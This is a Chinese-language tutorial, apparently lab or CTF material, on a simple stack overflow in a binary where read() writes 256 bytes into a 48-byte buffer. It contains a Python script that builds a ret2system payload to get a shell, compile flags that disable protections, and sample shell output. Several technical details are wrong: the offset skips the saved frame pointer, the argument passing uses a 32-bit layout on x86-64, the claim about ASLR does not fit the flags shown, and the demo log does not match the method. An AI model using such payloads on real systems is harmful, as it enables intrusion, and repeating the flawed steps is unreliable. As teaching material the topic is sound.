栈溢出代码:最简单的栈溢出

使用 IDA Pro 打开此代码,使用快捷键 Tab 或 F5 切换到伪代码页面。

伪代码如下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts("Just say something...");
  read(0, buf, 0x100u);
  return 0;
}

漏洞分析

该代码的栈溢出风险存在于 read(0, buf, 0x100u); 这一行。

具体分析:

  1. 定义了一个_BYTE buf[48],即大小为 48 字节的缓冲区
  2. read 函数却尝试从标准输入读取 0x100u(对应十进制值 256,read 函数从标准输入(文件描述符 0)读取 256 字节)的数据到这个缓冲区

这便造成了典型的缓冲区溢出情况:程序允许输入的数据量(256 字节)远大于缓冲区的实际容量(48 字节)。当输入超过 48 字节的数据时,多余的数据会覆盖栈上 buf 之后的内存空间,包括栈帧中的返回地址等关键信息,从而导致栈溢出漏洞(栈溢出为缓冲区溢出的子集,由于 buf[48] 是上的局部变量,向其写入大于 48 字节的数据便属于栈溢出)。

这种漏洞可能被利用来执行任意代码,攻击者可以通过精心构造超过 48 字节的输入数据,覆盖函数返回地址,使程序跳转到攻击者控制的代码区域执行。

漏洞利用

要利用这个栈溢出漏洞,我们需要构造超出缓冲区大小的输入,覆盖函数返回地址,从而改变程序执行流程。

我们的目标是让程序执行system("/bin/sh")获取 shell,需要:

  1. 填充 48 字节的缓冲区
  2. 覆盖返回地址为system函数的地址
  3. 提供/bin/sh字符串作为参数

以下是一个 Python 脚本示例,用于生成恶意输入:

栈溢出漏洞利用

import struct

# 假设的地址(需要根据实际环境计算)
# system函数地址(示例值,需用objdump查找)
system_addr = 0x4010a0
# "/bin/sh"字符串地址(示例值,需在内存中找到)
bin_sh_addr = 0x7ffff7f6c54f

# 构造攻击载荷
payload = b""
# 1. 填充48字节的缓冲区
payload += b"A" * 48

# 2. 覆盖返回地址为system函数地址
# 小端序存储地址
payload += struct.pack("<Q", system_addr)

# 3. 填充返回地址到system参数之间的空间(通常是返回地址后的8字节)
payload += b"B" * 8

# 4. 传递"/bin/sh"作为system函数的参数
payload += struct.pack("<Q", bin_sh_addr)

# 输出攻击载荷到文件
with open("exploit.bin", "wb") as f:
    f.write(payload)

print("攻击载荷已生成:exploit.bin")
print(f"长度:{len(payload)}字节")

使用方法:

  1. 编译目标程序(关闭 ASLR 等保护机制方便测试)
gcc -fno-stack-protector -z execstack -o vulnerable vulnerable.c
  • 运行脚本生成攻击载荷
python3 exploit.py
  • 利用攻击载荷
cat exploit.bin | ./vulnerable

注意事项:

  • 利用时需要通过objdumpgdb获取真实的system函数地址和/bin/sh字符串地址
  • 现代系统通常有 ASLR、栈保护等安全机制,需要先绕过或关闭
  • 不同架构(32 位 / 64 位)的地址长度和内存布局不同,需要调整代码
  • 此示例仅用于教育目的,未经授权测试他人系统是非法行为

这个漏洞利用的核心原理是:通过溢出缓冲区覆盖函数返回地址,让程序执行我们指定的函数(这里是 system)并传递我们想要的参数(这里是 /bin/sh)。

地址寻踪

漏洞利用代码中假设了 System address 与 "/bin/sh"字符串地址,在实际使用时需要通过动态调试来寻找具体地址。

可以在动态库里搜索这个字符串,如果存在,就可以按照动态库起始地址+相对偏移来确定其绝对地址。如果在动态库里找不到,可以将这个字符串加到环境变量里,再通过 getenv() 等函数来确定地址。

解决完上述问题,我们就可以拼接出溢出数据,输入至程序来通过 system() 打开 shell 了。

成功示例:

[+] Starting local process './vulnerable': pid 12345
[*] Switching to interactive mode
请输入内容:  # 程序的输入提示(被脚本自动发送payload覆盖)
$ ls  # 此时你输入“ls”(真正的shell提示符)
stack  stack.c  exp.py  # 程序返回目录列表(说明shell生效)
$ pwd  # 再输入“pwd”
/home/Debugger  # 正确返回当前路径